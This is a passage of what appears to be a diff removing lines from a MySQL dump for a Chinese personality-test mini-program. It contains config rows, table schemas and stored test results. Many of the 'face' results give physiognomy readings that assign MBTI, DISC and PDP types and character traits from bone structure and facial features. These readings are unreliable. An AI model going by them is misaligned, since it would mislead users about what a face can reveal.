1771915950, 1772766406); -INSERT INTO `mbti_system_config` VALUES (5, 'text_config', 0, '{\"analyzingTitle\":\"正在分析中\",\"startButtonText\":\"开始面相测试\",\"startButtonEnterprise\":\"开始面部测试\",\"reportTitle\":\"分析报告\",\"aiAnalysisText\":\"智能分析\"}', '小程序文案配置', 1772608708, 1772761008); -INSERT INTO `mbti_system_config` VALUES (6, 'poster_config', 0, '{\"bgColor\":\"#ffffff\",\"bgImage\":\"\",\"elements\":[{\"id\":\"el_1772613206999_1\",\"type\":\"image\",\"x\":2,\"y\":0,\"w\":373,\"h\":667,\"shape\":\"square\",\"url\":\"https:\\/\\/karuosiyujzk.oss-cn-shenzhen.aliyuncs.com\\/mbti\\/20260304\\/img_69a7f4bb529f73.42463703.png\",\"align\":\"left\"},{\"id\":\"el_1772613291672_2\",\"type\":\"nickname\",\"x\":154,\"y\":450,\"w\":131,\"h\":30,\"fontSize\":20,\"color\":\"rgb(255, 23, 23)\",\"bold\":false,\"fontFamily\":\"noto-sans\",\"align\":\"left\"},{\"id\":\"el_1772613311472_3\",\"type\":\"avatar\",\"x\":128,\"y\":452,\"w\":25,\"h\":25,\"shape\":\"circle\",\"align\":\"left\"},{\"id\":\"el_1772613325744_4\",\"type\":\"qrcode\",\"x\":134,\"y\":487,\"w\":110,\"h\":110,\"align\":\"left\"},{\"id\":\"el_1772615481311_1\",\"type\":\"mbti\",\"x\":35,\"y\":169,\"w\":80,\"h\":32,\"content\":\"INTJ\",\"fontSize\":16,\"color\":\"#6366f1\",\"bold\":true,\"fontFamily\":\"noto-sans\",\"align\":\"center\"},{\"id\":\"el_1772616100719_2\",\"type\":\"pdp\",\"x\":154,\"y\":174,\"w\":80,\"h\":32,\"content\":\"猫头鹰\",\"fontSize\":16,\"color\":\"#10b981\",\"bold\":true,\"fontFamily\":\"noto-sans\",\"align\":\"center\"},{\"id\":\"el_1772616105006_3\",\"type\":\"disc\",\"x\":271,\"y\":174,\"w\":80,\"h\":32,\"content\":\"C型\",\"fontSize\":16,\"color\":\"#f43f5e\",\"bold\":true,\"fontFamily\":\"noto-sans\",\"align\":\"center\"},{\"id\":\"el_1772674833835_1\",\"type\":\"text\",\"x\":22,\"y\":202,\"w\":102,\"h\":27,\"content\":\"mbti\",\"fontSize\":12,\"color\":\"rgb(140, 138, 138)\",\"bold\":false,\"align\":\"center\"},{\"id\":\"el_1772678555032_1\",\"type\":\"text\",\"x\":141,\"y\":208,\"w\":100,\"h\":20,\"content\":\"PDP\",\"fontSize\":12,\"color\":\"rgb(140, 138, 138)\",\"bold\":false,\"align\":\"center\"},{\"id\":\"el_1772678605176_2\",\"type\":\"text\",\"x\":260,\"y\":206,\"w\":99,\"h\":30,\"content\":\"DISC\",\"fontSize\":12,\"color\":\"rgb(140, 138, 138)\",\"bold\":false,\"align\":\"center\"}]}', '分销海报可视化配置', 1772613345, 1772680067); -INSERT INTO `mbti_system_config` VALUES (7, 'poster_config', 5, '{\"bgColor\":\"#ffffff\",\"bgImage\":\"https:\\/\\/karuosiyujzk.oss-cn-shenzhen.aliyuncs.com\\/mbti\\/20260305\\/img_69a93009e76ba4.00229379.png\",\"elements\":[{\"id\":\"el_1772695569798_1\",\"type\":\"nickname\",\"x\":113,\"y\":359,\"w\":150,\"h\":36,\"fontSize\":16,\"color\":\"rgb(255, 0, 0)\",\"bold\":false,\"align\":\"center\"},{\"id\":\"el_1772695592453_2\",\"type\":\"avatar\",\"x\":54,\"y\":333,\"w\":80,\"h\":80,\"shape\":\"circle\"},{\"id\":\"el_1772695597637_3\",\"type\":\"qrcode\",\"x\":127,\"y\":490,\"w\":120,\"h\":120},{\"id\":\"el_1772695600813_4\",\"type\":\"mbti\",\"x\":13,\"y\":153,\"w\":80,\"h\":32,\"content\":\"INTJ\",\"fontSize\":16,\"color\":\"#6366f1\",\"bold\":true,\"align\":\"center\"},{\"id\":\"el_1772695603591_5\",\"type\":\"pdp\",\"x\":19,\"y\":196,\"w\":80,\"h\":32,\"content\":\"猫头鹰\",\"fontSize\":16,\"color\":\"#10b981\",\"bold\":true,\"align\":\"center\"},{\"id\":\"el_1772695607589_6\",\"type\":\"disc\",\"x\":18,\"y\":233,\"w\":80,\"h\":32,\"content\":\"C型\",\"fontSize\":16,\"color\":\"#f43f5e\",\"bold\":true,\"align\":\"center\"}]}', '分销海报可视化配置(企业)', 1772695611, 1772695611); -INSERT INTO `mbti_system_config` VALUES (8, 'distribution', 5, '{\"enabled\":true,\"promoCenterTitle\":\"推广中心\",\"bindingDays\":30,\"testSettings\":{\"face\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"mbti\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"disc\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"pdp\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"resume\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true}}}', NULL, 1772697130, 1773132544); -INSERT INTO `mbti_system_config` VALUES (9, 'text_config', 5, '{\"analyzingTitle\":\"正在分析中\",\"startButtonText\":\"开始面相测试\",\"startButtonEnterprise\":\"开始面部测试\",\"reportTitle\":\"分析报告\",\"aiAnalysisText\":\"智能分析\",\"miniprogramName\":\"神仙团队性格测试\"}', '小程序文案配置(企业 5)', 1772700633, 1772761516); -INSERT INTO `mbti_system_config` VALUES (10, 'distribution', 0, '{\"enabled\":false,\"promoCenterTitle\":\"推广中心\",\"bindingDays\":30,\"minWithdrawFen\":100,\"maxWithdrawFen\":0,\"requireAudit\":true,\"withdrawFee\":0,\"testSettings\":{\"face\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"mbti\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"disc\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"pdp\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"resume\":{\"enabled\":true,\"commissionType\":\"ratio\",\"commissionRate\":90,\"commissionAmountFen\":0,\"noPayment\":false}}}', NULL, 1773020928, 1773280490); -INSERT INTO `mbti_system_config` VALUES (11, 'distribution', 6, '{\"enabled\":true,\"promoCenterTitle\":\"推广中心\",\"bindingDays\":30,\"testSettings\":{\"face\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"mbti\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"disc\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"pdp\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"resume\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true}}}', NULL, 1773021025, 1773132517); - --- ---------------------------- --- Table structure for mbti_system_configs --- ---------------------------- -DROP TABLE IF EXISTS `mbti_system_configs`; -CREATE TABLE `mbti_system_configs` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', - `configKey` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键', - `configValue` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)', - `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `configKey`(`configKey`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_test_results --- ---------------------------- -DROP TABLE IF EXISTS `mbti_test_results`; -CREATE TABLE `mbti_test_results` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '结果ID', - `userId` int(11) NOT NULL COMMENT '用户ID', - `testType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '测试类型:mbti/disc/pdp/face', - `resultData` json NULL COMMENT '测试结果(JSON格式)', - `score` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '得分详情', - `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID(mbti_orders.id)', - `requiresPayment` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否需要付款:0否1是', - `isPaid` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否已付款:0否1是', - `paidAmount` int(11) NULL DEFAULT 0 COMMENT '付款金额(分,冗余存储,避免改价影响历史)', - `paidAt` int(11) NULL DEFAULT NULL COMMENT '付款时间(时间戳)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL表示个人用户', - `testScope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '测试来源版本: personal=个人版 enterprise=企业版', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_userId`(`userId`) USING BTREE, - INDEX `idx_testType`(`testType`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE, - INDEX `idx_orderId`(`orderId`) USING BTREE, - INDEX `idx_isPaid`(`isPaid`) USING BTREE, - INDEX `idx_requiresPayment`(`requiresPayment`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 146 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '测试结果表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mbti_test_results --- ---------------------------- -INSERT INTO `mbti_test_results` VALUES (1, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFP\", \"title\": \"调停者\"}, \"overview\": \"气质安静理性,内敛而有主见,思维细腻敏感,重视自我价值与内心秩序。\", \"boneAnalysis\": \"骨骼清秀偏木水形,相对骨重肉薄,线条纤长不夸张,气质内敛克制,重思考与感受,行动节奏温和但持续。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神柔和含光,鼻梁细直,唇形自然收敛,下巴略尖,整体给人安静、专注而略带距离感。\", \"personalitySummary\": \"性格敏感理性,重视隐私与独立空间,善于思考与观察,表达含蓄但原则清晰,更偏向安静创作与深度工作环境。\"}', NULL, NULL, 0, 0, 0, NULL, 1772005506, 1772005506, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (2, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性又细腻敏感,兼具洞察力与规划力,适合深度思考与创造性工作。\", \"boneAnalysis\": \"骨相偏瘦长木形,骨肉匀称,线条柔中有直,显思维敏捷、韧性佳,重内在成长与长期规划。\", \"faceAnalysis\": \"额头较饱满、眼神内敛专注,鼻梁细直,嘴形柔和含蓄,整体给人沉静理性、略带距离感的气质。\", \"personalitySummary\": \"性格安静独立,思考细致,有责任感与同理心。做事追求完美与深度,习惯独立完成关键任务,对人保持礼貌克制与适度边界。\"}', NULL, NULL, 0, 0, 0, NULL, 1772005550, 1772005550, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (3, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,内敛专注,有谋划与审美,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相清秀偏木水形,骨肉匀称不粗重,重思考与感受,行动节奏稳而不急,耐力尚佳。\", \"faceAnalysis\": \"额头较饱满、眼神内敛专注,鼻梁秀挺,唇形柔和,下颌偏尖,整体偏理性细腻型面相。\", \"personalitySummary\": \"内向克制,思维细腻,有同理心和理想感,做事讲逻辑与条理,重个人空间与深度连接。\"}', NULL, NULL, 0, 0, 0, NULL, 1772010093, 1772010093, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (4, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外表软萌亲和,内在好奇活泼,情感细腻,善于带动气氛与连接他人,适合创造性与互动性强的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"整体线条圆润偏水土形,骨感不强而肉感充足,气质柔和包容,稳定安全,耐受力与适应力良好。\", \"faceAnalysis\": \"圆润脸型与大眼清澈,神态单纯好奇,嘴部微抿显乖顺,整体给人温柔、亲近、无攻击感的印象。\", \"personalitySummary\": \"性格友善外向,情绪表达自然丰富,富有想象力与玩心,乐于尝试新鲜事物并与周围建立温暖连结。\"}', NULL, NULL, 1, 0, 0, NULL, 1772074447, 1772074447, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (5, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"天真好奇、亲和力强,富有想象与玩心,善于营造轻松愉悦氛围,适合充满互动与创意的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"整体线条圆滑饱满,骨感不显偏向柔和之象,气质以亲和、包容与弹性适应为主。\", \"faceAnalysis\": \"圆润脸型与大而明亮的眼睛,透露单纯、好奇与强烈亲近欲,表情专注而无戒心。\", \"personalitySummary\": \"性格活泼外向,情绪表达自然直接,重视陪伴与互动;好奇心强,乐于尝试新事物;在人际中以温柔可亲与玩闹氛围影响他人。\"}', NULL, NULL, 0, 0, 0, NULL, 1772077612, 1772077612, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (6, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外柔内韧、好奇心强,情绪明亮,亲和力高,适合创意与互动并重的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"骨肉丰盈,线条圆滑,属水土偏旺之象,抗压以柔性缓冲为主,稳定中带弹性。\", \"faceAnalysis\": \"大眼圆润有光、五官饱满偏圆,整体给人单纯友好、信任度高且富有童心的气质。\", \"personalitySummary\": \"性格温暖外向,富想象力与同理心,乐于探索新事物与结交伙伴,重视情感连接与轻松氛围。\"}', NULL, NULL, 0, 0, 0, NULL, 1772085904, 1772085904, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (7, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外表温柔亲和,内在好奇活泼,情感细腻,善于带动氛围和照顾周围情绪,适合创意与人际相关领域发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"骨肉丰润偏水土形,线条圆滑少棱角,稳重中带灵动,抗压方式以柔性缓冲与情绪调节见长。\", \"faceAnalysis\": \"面部圆润饱满、五官柔和,眼睛圆大有神,整体给人亲切无攻击感,情绪外显、乐观开朗。\", \"personalitySummary\": \"性格温暖黏人、好奇心强,重视陪伴与互动,安全感来自稳定关系;做事随性但富创意,人际友善,擅长用温柔方式影响他人。\"}', NULL, NULL, 1, 0, 0, NULL, 1772086859, 1772086859, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (8, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ESFP\", \"title\": \"表演者\"}, \"overview\": \"外向亲和、感受敏锐,情绪明亮,喜欢互动与陪伴,适合在轻松环境中发挥创造与感染力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"骨感不强而以圆润为主,属水土柔和之象,重在包容与稳定,偏向守成与享受当下。\", \"faceAnalysis\": \"圆润饱满、五官柔和,眼大有神而无压迫感,整体给人亲近、安全与温柔信赖之感。\", \"personalitySummary\": \"性格温柔黏人,重感情、爱互动,乐于取悦他人,安全感需求高,依恋稳定的人与环境。\"}', NULL, 22, 1, 1, 1, 1772097475, 1772088690, 1772097481, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (9, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ESFP\", \"title\": \"表演者\"}, \"overview\": \"外向活泼,情绪单纯明亮,亲和力强,适合高互动与创造性的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"头脸圆润、骨感不显,肉多掩骨,属柔和亲和型结构,抗压方式偏情绪缓冲与环境适配。\", \"faceAnalysis\": \"大眼圆瞳、短鼻小口与饱满脸型,整体给人单纯、信赖、亲近与好奇的感觉。\", \"personalitySummary\": \"性格单纯乐观,强烈好奇心与玩心并存,重视当下体验与互动回应,人际表现亲切黏人,容易成为团队的气氛担当与情绪疗愈者。\"}', NULL, 24, 1, 1, 1, 1772098134, 1772088972, 1772098138, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (10, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向灵动、好奇心强,情感细腻又具创造力,适合在自由氛围中发挥想象与亲和力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"头脸线条柔和偏圆,骨感不突显,属水木相融合,重情重趣,适合以灵活适配和创意表达见长。\", \"faceAnalysis\": \"圆润面部与大眼透露童真与包容,表情专注却无攻击性,整体给人亲近、安全与信赖感。\", \"personalitySummary\": \"性格温柔友好,想象力丰富,乐于互动与陪伴,遇事以情感与直觉回应,重视氛围与关系和谐。\"}', NULL, 21, 1, 1, 1, 1772097190, 1772089010, 1772097195, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (11, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向温暖、好奇心强,富有想象力与亲和力,擅长在轻松氛围中激发他人潜能。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"整体轮廓饱满柔和,骨肉丰厚偏水木形,相对少锐角,主感受力强、适应快、压力承载偏弹性。\", \"faceAnalysis\": \"圆润脸型与大眼晶亮,神情专注又天真,透露强烈好奇心与亲近感,人际开放友善。\", \"personalitySummary\": \"性格灵动活泼,情绪表达自然,乐于探索新事物并与他人分享,重视氛围与情感联结,组织性略逊但创意与感染力突出。\"}', NULL, 20, 1, 1, 1, 1772096995, 1772094812, 1772096998, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (12, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向灵动、好奇心强,情感细腻,富有创意与亲和力,适合在人际与创意场景中发光。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"头脸轮廓圆滑偏水形,骨肉丰润,抗压以柔克刚,适应环境与情境能力突出。\", \"faceAnalysis\": \"五官圆润饱满、眼大有神,整体给人亲切软萌之感,情绪表达自然真诚,亲和力极高。\", \"personalitySummary\": \"性格温柔热情,喜欢探索新鲜事物,善于用真诚和幽默拉近距离;做事随性但富有想象力,适合自由度高且能与人互动的环境。\"}', NULL, 19, 1, 1, 1, 1772096444, 1772095236, 1772096493, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (13, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性且内驱明确,思维细腻,有规划意识与长远眼光,适合深度型与创造型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"整体骨感清晰偏纤细,属木水结合之形,相对理性敏感,决断偏谨慎,重思考与稳妥推进。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神专注内敛,鼻梁秀直,嘴形柔和克制,下颌略尖显感性与理想色彩。\", \"personalitySummary\": \"性格内敛安静,情绪稳定度尚佳,做事讲逻辑与秩序,偏完美主义与自我要求高,重个人空间与精神追求。\"}', NULL, 23, 1, 1, 1, 1772097793, 1772097765, 1772097797, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (14, 1, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 0, \"I\": 0, \"J\": 6, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-02-26T09:29:32.351Z\", \"confidence\": 100, \"completedAt\": \"2026-02-26T09:29:32.351Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 10, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 6, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 1, 0, NULL, NULL, 1772098172, 1772098172, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (15, 1, 'mbti', '{\"scores\": {\"E\": 0, \"F\": 8, \"I\": 9, \"J\": 0, \"N\": 7, \"P\": 6, \"S\": 0, \"T\": 0}, \"answers\": [], \"mbtiType\": \"INFP\", \"timestamp\": \"2026-02-26T09:30:17.331Z\", \"confidence\": 100, \"completedAt\": \"2026-02-26T09:30:17.331Z\", \"description\": {\"name\": \"调停者\", \"type\": \"INFP\", \"careers\": [\"作家\", \"心理咨询\", \"社工\"], \"category\": \"理想主义者\", \"strengths\": [\"创造力\", \"同理心\", \"真诚\"], \"weaknesses\": [\"过于理想化\", \"情绪化\"], \"description\": \"理想主义、忠诚的调解者\"}, \"testDuration\": 8, \"dimensionScores\": {\"EI\": {\"E\": 0, \"I\": 9, \"dominant\": \"I\", \"percentage\": 100}, \"JP\": {\"J\": 0, \"P\": 6, \"dominant\": \"P\", \"percentage\": 100}, \"SN\": {\"N\": 7, \"S\": 0, \"dominant\": \"N\", \"percentage\": 100}, \"TF\": {\"F\": 8, \"T\": 0, \"dominant\": \"F\", \"percentage\": 100}}}', NULL, NULL, 1, 0, NULL, NULL, 1772098217, 1772098217, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (16, 1, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 0, \"I\": 0, \"J\": 6, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-02-26T09:30:35.053Z\", \"confidence\": 100, \"completedAt\": \"2026-02-26T09:30:35.053Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 9, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 6, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, 